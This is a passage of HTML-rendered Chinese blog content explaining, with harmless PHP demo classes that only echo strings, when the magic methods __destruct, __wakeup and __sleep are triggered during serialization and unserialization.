style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/destruct1.png\" class=\"\" title=\"destruct1\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//第二种：使用unset销毁对象</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">unset</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/destruct2.png\" class=\"\" title=\"destruct2\"></p>\n<p>对象都没有了序列化字符串当然是N(NULL)咯</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">//第三种情况：使用了unserialize()方法</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/destruct3.png\" class=\"\" title=\"destruct3\"></p>\n<p>不难看出，输出第一个ZLARYY!<span class=\"spoiler\" title=\"你知道得太多了\">是由于触发了unserialize()，而第二个ZLARYY</span>!是由于脚本执行结束</p>\n<h3 id=\"__wakeup\"><a class=\"anchor\" href=\"#__wakeup\">#</a> __wakeup()：</h3>\n<p>在对象被反序列化（使用 unserialize() 函数）之前自动调用，可以在此方法中重新初始化对象状态。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/wakeup.png\" class=\"\" title=\"wakeup\"></p>\n<p>这就很厉害了，刚好在unserialize调用的前一行触发，那也就说明wakeup触发时机在construct之后</p>\n<h3 id=\"__sleep\"><a class=\"anchor\" href=\"#__sleep\">#</a> __sleep()：</h3>\n<p>在对象被序列化（使用 serialize() 函数）之前自动调用，可以在此方法中指定需要被序列化的属性，返回一个包含对象中所有应被序列化的变量名称的数组</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __sleep</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span 